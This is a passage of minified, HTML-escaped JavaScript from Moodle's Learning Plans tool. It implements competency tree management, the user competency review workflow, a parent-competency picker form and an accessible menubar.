requests=ajax.call([{methodname:&quot;core_competency_search_competencies&quot;,args:{competencyframeworkid:competency.competencyframeworkid,searchtext:&quot;&quot;}},{methodname:&quot;core_competency_read_competency_framework&quot;,args:{id:competency.competencyframeworkid}}]);$.when.apply(null,requests).done((function(competencies,framework){var i,competenciestree=[];for(i=0;i&lt;competencies.length;i++){var onecompetency=competencies[i];&quot;0&quot;==onecompetency.parentid&amp;&amp;(onecompetency.children=[],onecompetency.haschildren=0,competenciestree[competenciestree.length]=onecompetency,addCompetencyChildren(onecompetency,competencies))}str.get_strings([{key:&quot;movecompetency&quot;,component:&quot;tool_lp&quot;,param:competency.shortname},{key:&quot;move&quot;,component:&quot;tool_lp&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){var context={framework:framework,competencies:competenciestree};templates.render(&quot;tool_lp/competencies_move_tree&quot;,context).done((function(tree){new Dialogue(strings[0],tree,initMovePopup)})).fail(notification.exception)})).fail(notification.exception)})).fail(notification.exception)},editHandler=function(){var competency=$(&#039;[data-region=&quot;competencyactions&quot;]&#039;).data(&quot;competency&quot;),params={competencyframeworkid:treeModel.getCompetencyFrameworkId(),id:competency.id,parentid:competency.parentid,pagecontextid:pageContextId},queryparams=$.param(params);window.location=url.relativeUrl(&quot;/admin/tool/lp/editcompetency.php?&quot;+queryparams)},reloadPage=function(context){templates.render(&quot;tool_lp/manage_competencies_page&quot;,context).done((function(newhtml,newjs){$(&#039;[data-region=&quot;managecompetencies&quot;]&#039;).replaceWith(newhtml),templates.runTemplateJS(newjs)})).fail(notification.exception)},updateSearchHandler=function(e){e.preventDefault();var frameworkid=$(&#039;[data-region=&quot;filtercompetencies&quot;]&#039;).data(&quot;frameworkid&quot;);ajax.call([{methodname:&quot;tool_lp_data_for_competencies_manage_page&quot;,args:{competencyframeworkid:frameworkid,search:$(&#039;[data-region=&quot;filtercompetencies&quot;] input&#039;).val()}}])[0].done(reloadPage).fail(notification.exception)},moveUpHandler=function(){var competency=$(&#039;[data-region=&quot;competencyactions&quot;]&#039;).data(&quot;competency&quot;);ajax.call([{methodname:&quot;core_competency_move_up_competency&quot;,args:{id:competency.id}},{methodname:&quot;tool_lp_data_for_competencies_manage_page&quot;,args:{competencyframeworkid:competency.competencyframeworkid,search:$(&#039;[data-region=&quot;filtercompetencies&quot;] input&#039;).val()}}])[1].done(reloadPage).fail(notification.exception)},moveDownHandler=function(){var competency=$(&#039;[data-region=&quot;competencyactions&quot;]&#039;).data(&quot;competency&quot;);ajax.call([{methodname:&quot;core_competency_move_down_competency&quot;,args:{id:competency.id}},{methodname:&quot;tool_lp_data_for_competencies_manage_page&quot;,args:{competencyframeworkid:competency.competencyframeworkid,search:$(&#039;[data-region=&quot;filtercompetencies&quot;] input&#039;).val()}}])[1].done(reloadPage).fail(notification.exception)},seeCoursesHandler=function(){var competency=$(&#039;[data-region=&quot;competencyactions&quot;]&#039;).data(&quot;competency&quot;);ajax.call([{methodname:&quot;tool_lp_list_courses_using_competency&quot;,args:{id:competency.id}}])[0].done((function(courses){var context={courses:courses};templates.render(&quot;tool_lp/linked_courses_summary&quot;,context).done((function(html){str.get_string(&quot;linkedcourses&quot;,&quot;tool_lp&quot;).done((function(linkedcourses){new Dialogue(linkedcourses,html,initMovePopup)})).fail(notification.exception)})).fail(notification.exception)})).fail(notification.exception)},relateCompetenciesHandler=function(){relatedTarget=$(&#039;[data-region=&quot;competencyactions&quot;]&#039;).data(&quot;competency&quot;),pickerInstance||(pickerInstance=new Picker(pageContextId,relatedTarget.competencyframeworkid)).on(&quot;save&quot;,(function(e,data){var pendingPromise=new Pending,compIds=data.competencyIds,calls=[];$.each(compIds,(function(index,value){calls.push({methodname:&quot;core_competency_add_related_competency&quot;,args:{competencyid:value,relatedcompetencyid:relatedTarget.id}})})),calls.push({methodname:&quot;tool_lp_data_for_related_competencies_section&quot;,args:{competencyid:relatedTarget.id}}),ajax.call(calls)[calls.length-1].then((function(context){return templates.render(&quot;tool_lp/related_competencies&quot;,context)})).then((function(html,js){$(&#039;[data-region=&quot;relatedcompetencies&quot;]&#039;).replaceWith(html),templates.runTemplateJS(js),updatedRelatedCompetencies()})).then(pendingPromise.resolve).catch(notification.exception)})),pickerInstance.setDisallowedCompetencyIDs([relatedTarget.id]),pickerInstance.display()},ruleConfigHandler=function(e){e.preventDefault(),relatedTarget=$(&#039;[data-region=&quot;competencyactions&quot;]&#039;).data(&quot;competency&quot;),ruleConfigInstance.setTargetCompetencyId(relatedTarget.id),ruleConfigInstance.display()},ruleConfigSaveHandler=function(e,config){var update={id:relatedTarget.id,shortname:relatedTarget.shortname,idnumber:relatedTarget.idnumber,description:relatedTarget.description,descriptionformat:relatedTarget.descriptionformat,ruletype:config.ruletype,ruleoutcome:config.ruleoutcome,ruleconfig:config.ruleconfig};ajax.call([{methodname:&quot;core_competency_update_competency&quot;,args:{competency:update}}])[0].then((function(result){result&amp;&amp;(relatedTarget.ruletype=config.ruletype,relatedTarget.ruleoutcome=config.ruleoutcome,relatedTarget.ruleconfig=config.ruleconfig,renderCompetencySummary(relatedTarget))})).catch(notification.exception)},doDelete=function(){var competency=$(&#039;[data-region=&quot;competencyactions&quot;]&#039;).data(&quot;competency&quot;),requests=ajax.call([{methodname:&quot;core_competency_delete_competency&quot;,args:{id:competency.id}},{methodname:&quot;tool_lp_data_for_competencies_manage_page&quot;,args:{competencyframeworkid:competency.competencyframeworkid,search:$(&#039;[data-region=&quot;filtercompetencies&quot;] input&#039;).val()}}]);requests[0].done((function(success){!1===success&amp;&amp;str.get_strings([{key:&quot;competencycannotbedeleted&quot;,component:&quot;tool_lp&quot;,param:competency.shortname},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){notification.alert(null,strings[0])})).fail(notification.exception)})).fail(notification.exception),requests[1].done(reloadPage).fail(notification.exception)},deleteCompetencyHandler=function(){var competency=$(&#039;[data-region=&quot;competencyactions&quot;]&#039;).data(&quot;competency&quot;),confirmMessage=&quot;deletecompetency&quot;;treeModel.hasRule(competency.parentid)&amp;&amp;(confirmMessage=&quot;deletecompetencyparenthasrule&quot;),str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:confirmMessage,component:&quot;tool_lp&quot;,param:competency.shortname},{key:&quot;delete&quot;,component:&quot;moodle&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){notification.confirm(strings[0],strings[1],strings[2],strings[3],doDelete)})).fail(notification.exception)},dragStart=function(e){e.originalEvent.dataTransfer.setData(&quot;text&quot;,$(e.target).parent().data(&quot;id&quot;))},allowDrop=function(e){e.originalEvent.dataTransfer.dropEffect=&quot;move&quot;,e.preventDefault()},dragEnter=function(e){e.preventDefault(),$(this).addClass(&quot;currentdragtarget&quot;)},dragLeave=function(e){e.preventDefault(),$(this).removeClass(&quot;currentdragtarget&quot;)},dropOver=function(e){e.preventDefault(),moveSource=e.originalEvent.dataTransfer.getData(&quot;text&quot;),moveTarget=$(e.target).parent().data(&quot;id&quot;),$(this).removeClass(&quot;currentdragtarget&quot;),confirmMove()},deleteRelatedHandler=function(e){e.preventDefault();var relatedid=this.id.substr(11),competency=$(&#039;[data-region=&quot;competencyactions&quot;]&#039;).data(&quot;competency&quot;);ajax.call([{methodname:&quot;core_competency_remove_related_competency&quot;,args:{relatedcompetencyid:relatedid,competencyid:competency.id}},{methodname:&quot;tool_lp_data_for_related_competencies_section&quot;,args:{competencyid:competency.id}}])[1].done((function(context){templates.render(&quot;tool_lp/related_competencies&quot;,context).done((function(html){$(&#039;[data-region=&quot;relatedcompetencies&quot;]&#039;).replaceWith(html),updatedRelatedCompetencies()})).fail(notification.exception)})).fail(notification.exception)},updatedRelatedCompetencies=function(){$(&#039;[data-action=&quot;deleterelation&quot;]&#039;).on(&quot;click&quot;,deleteRelatedHandler)},getTaxonomyAtLevel=function(level){var constant=taxonomiesConstants[level];return constant||(constant=&quot;competency&quot;),constant},renderCompetencySummary=function(competency){var promise=$.Deferred().resolve().promise(),context={};context.competency=competency,context.showdeleterelatedaction=!0,context.showrelatedcompetencies=!0,context.showrule=!1,context.pluginbaseurl=url.relativeUrl(&quot;/admin/tool/lp&quot;),competency.ruleoutcome!=Outcomes.NONE&amp;&amp;(promise=Outcomes.getString(competency.ruleoutcome).then((function(str){var name;return $.each(rulesModules,(function(index,modInfo){modInfo.type==competency.ruletype&amp;&amp;(name=modInfo.name)})),[str,name]}))),promise.then((function(strs){return void 0!==strs&amp;&amp;(context.showrule=!0,context.rule={outcome:strs[0],type:strs[1]}),context})).then((function(context){return templates.render(&quot;tool_lp/competency_summary&quot;,context)})).then((function(html){return $(&#039;[data-region=&quot;competencyinfo&quot;]&#039;).html(html),$(&#039;[data-action=&quot;deleterelation&quot;]&#039;).on(&quot;click&quot;,deleteRelatedHandler),templates.render(&quot;tool_lp/loading&quot;,{})})).then((function(html,js){return templates.replaceNodeContents(&#039;[data-region=&quot;relatedcompetencies&quot;]&#039;,html,js),ajax.call([{methodname:&quot;tool_lp_data_for_related_competencies_section&quot;,args:{competencyid:competency.id}}])[0]})).then((function(context){return templates.render(&quot;tool_lp/related_competencies&quot;,context)})).then((function(html,js){$(&#039;[data-region=&quot;relatedcompetencies&quot;]&#039;).replaceWith(html),templates.runTemplateJS(js),updatedRelatedCompetencies()})).catch(notification.exception)},selectionChanged=function(evt,params){var node=params.selected,id=$(node).data(&quot;id&quot;),btn=$(&#039;[data-region=&quot;competencyactions&quot;] [data-action=&quot;add&quot;]&#039;),actionMenu=$(&#039;[data-region=&quot;competencyactionsmenu&quot;]&#039;),selectedTitle=$(&#039;[data-region=&quot;selected-competency&quot;]&#039;),level=0,sublevel=1;if(menubar.closeAll(),void 0===id)$(&#039;[data-region=&quot;competencyinfo&quot;]&#039;).html(node.clone().children().remove().end().text()),$(&#039;[data-region=&quot;competencyactions&quot;]&#039;).data(&quot;competency&quot;,null),actionMenu.hide();else{var competency=treeModel.getCompetency(id);sublevel=(level=treeModel.getCompetencyLevel(id))+1,actionMenu.show(),$(&#039;[data-region=&quot;competencyactions&quot;]&#039;).data(&quot;competency&quot;,competency),renderCompetencySummary(competency),function(competency){competency.id!==selectedCompetencyId&amp;&amp;(selectedCompetencyId=competency.id,ajax.call([{methodname:&quot;core_competency_competency_viewed&quot;,args:{id:competency.id}}]))}(competency)}return function(level){return str.get_string(&quot;taxonomy_selected_&quot;+getTaxonomyAtLevel(level),&quot;tool_lp&quot;)}(level).then((function(str){selectedTitle.text(str)})).catch(notification.exception),function(level){return str.get_string(&quot;taxonomy_add_&quot;+getTaxonomyAtLevel(level),&quot;tool_lp&quot;)}(sublevel).then((function(str){btn.show().find(&#039;[data-region=&quot;term&quot;]&#039;).text(str)})).catch(notification.exception),evt.preventDefault(),!1};return{init:function(model,pagectxid,taxonomies,rulesMods){var all;treeModel=model,pageContextId=pagectxid,(all=taxonomies.split(&quot;,&quot;)).unshift(&quot;&quot;),delete all[0],taxonomiesConstants=all,rulesModules=rulesMods,$(&#039;[data-region=&quot;competencyactions&quot;] [data-action=&quot;add&quot;]&#039;).on(&quot;click&quot;,addHandler),menubar.enhance(&quot;.competencyactionsmenu&quot;,{&#039;[data-action=&quot;edit&quot;]&#039;:editHandler,&#039;[data-action=&quot;delete&quot;]&#039;:deleteCompetencyHandler,&#039;[data-action=&quot;move&quot;]&#039;:moveHandler,&#039;[data-action=&quot;moveup&quot;]&#039;:moveUpHandler,&#039;[data-action=&quot;movedown&quot;]&#039;:moveDownHandler,&#039;[data-action=&quot;linkedcourses&quot;]&#039;:seeCoursesHandler,&#039;[data-action=&quot;relatedcompetencies&quot;]&#039;:relateCompetenciesHandler.bind(this),&#039;[data-action=&quot;competencyrules&quot;]&#039;:ruleConfigHandler.bind(this)}),$(&#039;[data-region=&quot;competencyactionsmenu&quot;]&#039;).hide(),$(&#039;[data-region=&quot;competencyactions&quot;] [data-action=&quot;add&quot;]&#039;).hide(),$(&#039;[data-region=&quot;filtercompetencies&quot;]&#039;).on(&quot;submit&quot;,updateSearchHandler),$(&#039;[data-region=&quot;managecompetencies&quot;] [data-enhance=&quot;tree&quot;]&#039;).on(&quot;dragstart&quot;,&quot;li&gt;span&quot;,dragStart).on(&quot;dragover&quot;,&quot;li&gt;span&quot;,allowDrop).on(&quot;dragenter&quot;,&quot;li&gt;span&quot;,dragEnter).on(&quot;dragleave&quot;,&quot;li&gt;span&quot;,dragLeave).on(&quot;drop&quot;,&quot;li&gt;span&quot;,dropOver),model.on(&quot;selectionchanged&quot;,selectionChanged),(ruleConfigInstance=new RuleConfig(treeModel,rulesModules)).on(&quot;save&quot;,ruleConfigSaveHandler.bind(this))}}}));
/**
 * User competency workflow.
 *
 * @module     tool_lp/user_competency_workflow
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/user_competency_workflow&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;tool_lp/menubar&quot;,&quot;tool_lp/event_base&quot;],(function($,Templates,Ajax,Notification,Str,Menubar,EventBase){var UserCompetencyWorkflow=function(){EventBase.prototype.constructor.apply(this,[])};return(UserCompetencyWorkflow.prototype=Object.create(EventBase.prototype))._nodeSelector=&#039;[data-node=&quot;user-competency&quot;]&#039;,UserCompetencyWorkflow.prototype._cancelReviewRequest=function(data){var call={methodname:&quot;core_competency_user_competency_cancel_review_request&quot;,args:{userid:data.userid,competencyid:data.competencyid}};Ajax.call([call])[0].then(function(){this._trigger(&quot;review-request-cancelled&quot;,data),this._trigger(&quot;status-changed&quot;,data)}.bind(this)).catch(function(){this._trigger(&quot;error-occured&quot;,data)}.bind(this))},UserCompetencyWorkflow.prototype.cancelReviewRequest=function(data){this._cancelReviewRequest(data)},UserCompetencyWorkflow.prototype._cancelReviewRequestHandler=function(e){e.preventDefault();var data=this._findUserCompetencyData($(e.target));this.cancelReviewRequest(data)},UserCompetencyWorkflow.prototype._requestReview=function(data){var call={methodname:&quot;core_competency_user_competency_request_review&quot;,args:{userid:data.userid,competencyid:data.competencyid}};Ajax.call([call])[0].then(function(){this._trigger(&quot;review-requested&quot;,data),this._trigger(&quot;status-changed&quot;,data)}.bind(this)).catch(function(){this._trigger(&quot;error-occured&quot;,data)}.bind(this))},UserCompetencyWorkflow.prototype.requestReview=function(data){this._requestReview(data)},UserCompetencyWorkflow.prototype._requestReviewHandler=function(e){e.preventDefault();var data=this._findUserCompetencyData($(e.target));this.requestReview(data)},UserCompetencyWorkflow.prototype._startReview=function(data){var call={methodname:&quot;core_competency_user_competency_start_review&quot;,args:{userid:data.userid,competencyid:data.competencyid}};Ajax.call([call])[0].then(function(){this._trigger(&quot;review-started&quot;,data),this._trigger(&quot;status-changed&quot;,data)}.bind(this)).catch(function(){this._trigger(&quot;error-occured&quot;,data)}.bind(this))},UserCompetencyWorkflow.prototype.startReview=function(data){this._startReview(data)},UserCompetencyWorkflow.prototype._startReviewHandler=function(e){e.preventDefault();var data=this._findUserCompetencyData($(e.target));this.startReview(data)},UserCompetencyWorkflow.prototype._stopReview=function(data){var call={methodname:&quot;core_competency_user_competency_stop_review&quot;,args:{userid:data.userid,competencyid:data.competencyid}};Ajax.call([call])[0].then(function(){this._trigger(&quot;review-stopped&quot;,data),this._trigger(&quot;status-changed&quot;,data)}.bind(this)).catch(function(){this._trigger(&quot;error-occured&quot;,data)}.bind(this))},UserCompetencyWorkflow.prototype.stopReview=function(data){this._stopReview(data)},UserCompetencyWorkflow.prototype._stopReviewHandler=function(e){e.preventDefault();var data=this._findUserCompetencyData($(e.target));this.stopReview(data)},UserCompetencyWorkflow.prototype.enhanceMenubar=function(selector){Menubar.enhance(selector,{&#039;[data-action=&quot;request-review&quot;]&#039;:this._requestReviewHandler.bind(this),&#039;[data-action=&quot;cancel-review-request&quot;]&#039;:this._cancelReviewRequestHandler.bind(this)})},UserCompetencyWorkflow.prototype._findUserCompetencyData=function(node){var data,parent=node.parents(this._nodeSelector);if(1!=parent.length)throw new Error(&quot;The evidence node was not located.&quot;);if(void 0===(data=parent.data())||void 0===data.userid||void 0===data.competencyid)throw new Error(&quot;User competency data could not be found.&quot;);return data},UserCompetencyWorkflow.prototype.enhanceMenubar=function(selector){Menubar.enhance(selector,{&#039;[data-action=&quot;request-review&quot;]&#039;:this._requestReviewHandler.bind(this),&#039;[data-action=&quot;cancel-review-request&quot;]&#039;:this._cancelReviewRequestHandler.bind(this),&#039;[data-action=&quot;start-review&quot;]&#039;:this._startReviewHandler.bind(this),&#039;[data-action=&quot;stop-review&quot;]&#039;:this._stopReviewHandler.bind(this)})},UserCompetencyWorkflow.prototype.registerEvents=function(selector){var wrapper=$(selector);wrapper.find(&#039;[data-action=&quot;request-review&quot;]&#039;).click(this._requestReviewHandler.bind(this)),wrapper.find(&#039;[data-action=&quot;cancel-review-request&quot;]&#039;).click(this._cancelReviewRequestHandler.bind(this)),wrapper.find(&#039;[data-action=&quot;start-review&quot;]&#039;).click(this._startReviewHandler.bind(this)),wrapper.find(&#039;[data-action=&quot;stop-review&quot;]&#039;).click(this._stopReviewHandler.bind(this))},UserCompetencyWorkflow}));
/**
 * Handle selecting parent competency in competency form.
 *
 * @module     tool_lp/parentcompetency_form
 * @copyright  2015 Issam Taboubi &lt;issam.taboubi@umontreal.ca&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/parentcompetency_form&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;tool_lp/competencypicker&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;],(function($,ajax,Str,Picker,Templates,Notification){var ParentCompetencyForm=function(buttonSelector,inputHiddenSelector,staticElementSelector,frameworkId,pageContextId){this.buttonSelector=buttonSelector,this.inputHiddenSelector=inputHiddenSelector,this.staticElementSelector=staticElementSelector,this.frameworkId=frameworkId,this.pageContextId=pageContextId,this.registerEvents()};return ParentCompetencyForm.prototype.buttonSelector=null,ParentCompetencyForm.prototype.inputHiddenSelector=null,ParentCompetencyForm.prototype.staticElementSelector=null,ParentCompetencyForm.prototype.frameworkId=null,ParentCompetencyForm.prototype.pageContextId=null,ParentCompetencyForm.prototype.setParent=function(data){var self=this;0!==data.competencyId?ajax.call([{methodname:&quot;core_competency_read_competency&quot;,args:{id:data.competencyId}}])[0].done((function(competency){$(self.staticElementSelector).html(competency.shortname),$(self.inputHiddenSelector).val(competency.id)})).fail(Notification.exception):Str.get_string(&quot;competencyframeworkroot&quot;,&quot;tool_lp&quot;).then((function(rootframework){$(self.staticElementSelector).html(rootframework),$(self.inputHiddenSelector).val(data.competencyId)})).fail(Notification.exception)},ParentCompetencyForm.prototype.registerEvents=function(){var self=this;$(self.buttonSelector).on(&quot;click&quot;,(function(e){e.preventDefault();var picker=new Picker(self.pageContextId,self.frameworkId,&quot;self&quot;,!1);picker._render=function(){var self=this;return self._preRender().then((function(){var context={competencies:self._competencies,framework:self._getFramework(self._frameworkId),frameworks:self._frameworks,search:self._searchText,singleFramework:self._singleFramework};return Templates.render(&quot;tool_lp/competency_picker_competencyform&quot;,context)}))},picker.on(&quot;save&quot;,(function(e,data){self.setParent(data)})),picker.display()}))},{init:function(buttonSelector,inputSelector,staticElementSelector,frameworkId,pageContextId){new ParentCompetencyForm(buttonSelector,inputSelector,staticElementSelector,frameworkId,pageContextId)}}}));
/**
 * Aria menubar functionality. Enhances a simple nested list structure into a full aria widget.
 * Based on the open ajax example: http://oaa-accessibility.org/example/26/
 *
 * @module     tool_lp/menubar
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/menubar&quot;,[&quot;jquery&quot;],(function($){var documentClickHandlerRegistered=!1,menuActive=!1,closeAllSubMenus=function(){$(&quot;.tool-lp-menu .tool-lp-sub-menu&quot;).attr(&quot;aria-hidden&quot;,&quot;true&quot;),menuActive=!1},Menubar=function(menuRoot,handlers){this.menuRoot=menuRoot,this.handlers=handlers,this.rootMenus=this.menuRoot.children(&quot;li&quot;),this.subMenus=this.rootMenus.children(&quot;ul&quot;),this.subMenuItems=this.subMenus.children(&quot;li&quot;),this.allItems=this.rootMenus.add(this.subMenuItems),this.activeItem=null,this.isChildOpen=!1,this.keys={tab:9,enter:13,esc:27,space:32,left:37,up:38,right:39,down:40},this.addAriaAttributes(),this.addEventListeners()};return Menubar.prototype.openSubMenu=function(menu){this.setOpenDirection(),closeAllSubMenus(),menu.attr(&quot;aria-hidden&quot;,&quot;false&quot;),menuActive=!0},Menubar.prototype.addEventListeners=function(){var currentThis=this;!1===documentClickHandlerRegistered&amp;&amp;($(document).click((function(){menuActive&amp;&amp;closeAllSubMenus()})),documentClickHandlerRegistered=!0),this.subMenuItems.mouseenter((function(){return $(this).addClass(&quot;menu-hover&quot;),!0})),this.subMenuItems.mouseout((function(){return $(this).removeClass(&quot;menu-hover&quot;),!0})),this.allItems.click((function(e){return currentThis.handleClick($(this),e)})),this.allItems.keydown((function(e){return currentThis.handleKeyDown($(this),e)})),this.allItems.focus((function(){return currentThis.handleFocus($(this))})),this.allItems.blur((function(){return currentThis.handleBlur($(this))}))},Menubar.prototype.handleClick=function(item,e){if(e.stopPropagation(),item.parent().is(&quot;.tool-lp-menu&quot;))&quot;true&quot;==item.children(&quot;ul&quot;).first().attr(&quot;aria-hidden&quot;)?this.openSubMenu(item.children(&quot;ul&quot;).first()):item.children(&quot;ul&quot;).first().attr(&quot;aria-hidden&quot;,&quot;true&quot;);else{this.allItems.removeClass(&quot;menu-hover menu-focus&quot;),this.activeItem=null,this.menuRoot.find(&quot;ul&quot;).not(&quot;.root-level&quot;).attr(&quot;aria-hidden&quot;,&quot;true&quot;);var anchor=item.find(&quot;a&quot;).first(),clickEvent=new $.Event(&quot;click&quot;);clickEvent.target=anchor;var eventHandled=!1;this.handlers&amp;&amp;$.each(this.handlers,(function(selector,handler){if(!eventHandled&amp;&amp;item.find(selector).length&gt;0){var callable=$.proxy(handler,anchor);eventHandled=!1===callable(clickEvent)||clickEvent.isDefaultPrevented()}})),eventHandled||&quot;#&quot;===anchor.attr(&quot;href&quot;)||(window.location.href=anchor.attr(&quot;href&quot;))}return!1},Menubar.prototype.handleFocus=function(item){if(null===this.activeItem)this.activeItem=item;else if(item[0]!=this.activeItem[0])return!0;var parentItems=this.activeItem.parentsUntil(&quot;ul.tool-lp-menu&quot;).filter(&quot;li&quot;);(this.allItems.removeClass(&quot;menu-focus&quot;),this.activeItem.addClass(&quot;menu-focus&quot;),parentItems.addClass(&quot;menu-focus&quot;),!0===this.isChildOpen)&amp;&amp;(item.parent().is(&quot;.tool-lp-menu&quot;)&amp;&amp;&quot;true&quot;==item.attr(&quot;aria-haspopup&quot;)&amp;&amp;this.openSubMenu(item.children(&quot;ul&quot;).first()));return!0},Menubar.prototype.handleBlur=function(item){return item.removeClass(&quot;menu-focus&quot;),!0},Menubar.prototype.setOpenDirection=function(){var pos=this.menuRoot.offset(),isRTL=$(document.body).hasClass(&quot;dir-rtl&quot;),heightmenuRoot=this.rootMenus.outerHeight(),widthmenuRoot=this.rootMenus.outerWidth(),subMenuContainer=this.rootMenus.find(&quot;ul.tool-lp-sub-menu&quot;);subMenuContainer.css(&quot;margin-right&quot;,&quot;&quot;),subMenuContainer.css(&quot;margin-left&quot;,&quot;&quot;),subMenuContainer.css(&quot;margin-top&quot;,&quot;&quot;),subMenuContainer.attr(&quot;aria-hidden&quot;,!1);var menuRealWidth=subMenuContainer.outerWidth(),menuRealHeight=subMenuContainer.outerHeight(),margintop=null,marginright=null,marginleft=null;pos.top-$(window).scrollTop()+menuRealHeight&gt;$(window).height()&amp;&amp;(margintop=menuRealHeight+heightmenuRoot,subMenuContainer.css(&quot;margin-top&quot;,&quot;-&quot;+margintop+&quot;px&quot;)),isRTL?pos.left-menuRealWidth&lt;0&amp;&amp;(marginright=menuRealWidth-widthmenuRoot,subMenuContainer.css(&quot;margin-right&quot;,&quot;-&quot;+marginright+&quot;px&quot;)):pos.left+menuRealWidth&gt;$(window).width()&amp;&amp;(marginleft=menuRealWidth-widthmenuRoot,subMenuContainer.css(&quot;margin-left&quot;,&quot;-&quot;+marginleft+&quot;px&quot;)),this.menuRoot.addClass(&quot;tool-lp-menu-open-left&quot;)},Menubar.prototype.handleKeyDown=function(item,e){if(e.altKey||e.ctrlKey)return!0;switch(e.keyCode){case this.keys.tab:this.menuRoot.find(&quot;ul&quot;).attr(&quot;aria-hidden&quot;,&quot;true&quot;),this.allItems.removeClass(&quot;menu-focus&quot;),this.activeItem=null,this.isChildOpen=!1;break;case this.keys.esc:var itemUL=item.parent();return itemUL.is(&quot;.tool-lp-menu&quot;)?item.children(&quot;ul&quot;).first().attr(&quot;aria-hidden&quot;,&quot;true&quot;):(this.activeItem=itemUL.parent(),this.isChildOpen=!1,this.activeItem.focus(),itemUL.attr(&quot;aria-hidden&quot;,&quot;true&quot;)),e.stopPropagation(),!1;case this.keys.enter:case this.keys.space:return this.handleClick(item,e);case this.keys.left:return this.activeItem=this.moveToPrevious(item),this.activeItem.focus(),e.stopPropagation(),!1;case this.keys.right:return this.activeItem=this.moveToNext(item),this.activeItem.focus(),e.stopPropagation(),!1;case this.keys.up:return this.activeItem=this.moveUp(item),this.activeItem.focus(),e.stopPropagation(),!1;case this.keys.down:return this.activeItem=this.moveDown(item),this.activeItem.focus(),e.stopPropagation(),!1}return!0},Menubar.prototype.moveToNext=function(item){var itemUL=item.parent(),menuItems=itemUL.children(&quot;li&quot;),menuNum=menuItems.length,menuIndex=menuItems.index(item),newItem=null,childMenu=null;if(itemUL.is(&quot;.tool-lp-menu&quot;))newItem=menuIndex&lt;menuNum-1?item.next():menuItems.first(),&quot;true&quot;==item.attr(&quot;aria-haspopup&quot;)&amp;&amp;&quot;false&quot;==(childMenu=item.children(&quot;ul&quot;).first()).attr(&quot;aria-hidden&quot;)&amp;&amp;(childMenu.attr(&quot;aria-hidden&quot;,&quot;true&quot;),this.isChildOpen=!0),item.removeClass(&quot;menu-focus&quot;),&quot;true&quot;===newItem.attr(&quot;aria-haspopup&quot;)&amp;&amp;!0===this.isChildOpen&amp;&amp;(childMenu=newItem.children(&quot;ul&quot;).first(),this.openSubMenu(childMenu));else if(&quot;true&quot;==item.attr(&quot;aria-haspopup&quot;))newItem=(childMenu=item.children(&quot;ul&quot;).first()).children(&quot;li&quot;).first(),this.openSubMenu(childMenu);else{var parentMenus=null,rootItem=null;(parentMenus=item.parentsUntil(&quot;ul.tool-lp-menu&quot;).filter(&quot;ul&quot;).not(&quot;.tool-lp-menu&quot;)).attr(&quot;aria-hidden&quot;,&quot;true&quot;),parentMenus.find(&quot;li&quot;).removeClass(&quot;menu-focus&quot;),parentMenus.last().parent().removeClass(&quot;menu-focus&quot;),rootItem=parentMenus.last().parent(),(newItem=(menuIndex=this.rootMenus.index(rootItem))&lt;this.rootMenus.length-1?rootItem.next():this.rootMenus.first()).addClass(&quot;menu-focus&quot;),&quot;true&quot;==newItem.attr(&quot;aria-haspopup&quot;)&amp;&amp;(childMenu=newItem.children(&quot;ul&quot;).first(),newItem=childMenu.children(&quot;li&quot;).first(),this.openSubMenu(childMenu),this.isChildOpen=!0)}return newItem},Menubar.prototype.moveToPrevious=function(item){var itemUL=item.parent(),menuItems=itemUL.children(&quot;li&quot;),menuIndex=menuItems.index(item),newItem=null,childMenu=null;if(itemUL.is(&quot;.tool-lp-menu&quot;))newItem=menuIndex&gt;0?item.prev():menuItems.last(),&quot;true&quot;==item.attr(&quot;aria-haspopup&quot;)&amp;&amp;&quot;false&quot;==(childMenu=item.children(&quot;ul&quot;).first()).attr(&quot;aria-hidden&quot;)&amp;&amp;(childMenu.attr(&quot;aria-hidden&quot;,&quot;true&quot;),this.isChildOpen=!0),item.removeClass(&quot;menu-focus&quot;),&quot;true&quot;===newItem.attr(&quot;aria-haspopup&quot;)&amp;&amp;!0===this.isChildOpen&amp;&amp;(childMenu=newItem.children(&quot;ul&quot;).first(),this.openSubMenu(childMenu));else{var parentLI=itemUL.parent();parentLI.parent().is(&quot;.tool-lp-menu&quot;)?(itemUL.attr(&quot;aria-hidden&quot;,&quot;true&quot;),item.removeClass(&quot;menu-focus&quot;),parentLI.removeClass(&quot;menu-focus&quot;),(newItem=(menuIndex=this.rootMenus.index(parentLI))&gt;0?parentLI.prev():this.rootMenus.last()).addClass(&quot;menu-focus&quot;),&quot;true&quot;==newItem.attr(&quot;aria-haspopup&quot;)&amp;&amp;(childMenu=newItem.children(&quot;ul&quot;).first(),this.openSubMenu(childMenu),this.isChildOpen=!0,newItem=childMenu.children(&quot;li&quot;).first())):(newItem=itemUL.parent(),itemUL.attr(&quot;aria-hidden&quot;,&quot;true&quot;),item.removeClass(&quot;menu-focus&quot;))}return newItem},Menubar.prototype.moveDown=function(item,startChr){var itemUL=item.parent(),menuItems=itemUL.children(&quot;li&quot;).not(&quot;.separator&quot;),menuNum=menuItems.length,menuIndex=menuItems.index(item),newItem=null,newItemUL=null;if(itemUL.is(&quot;.tool-lp-menu&quot;))return&quot;true&quot;!=item.attr(&quot;aria-haspopup&quot;)?item:(newItem=(newItemUL=item.children(&quot;ul&quot;).first()).children(&quot;li&quot;).first(),this.openSubMenu(newItemUL),newItem);if(startChr){var 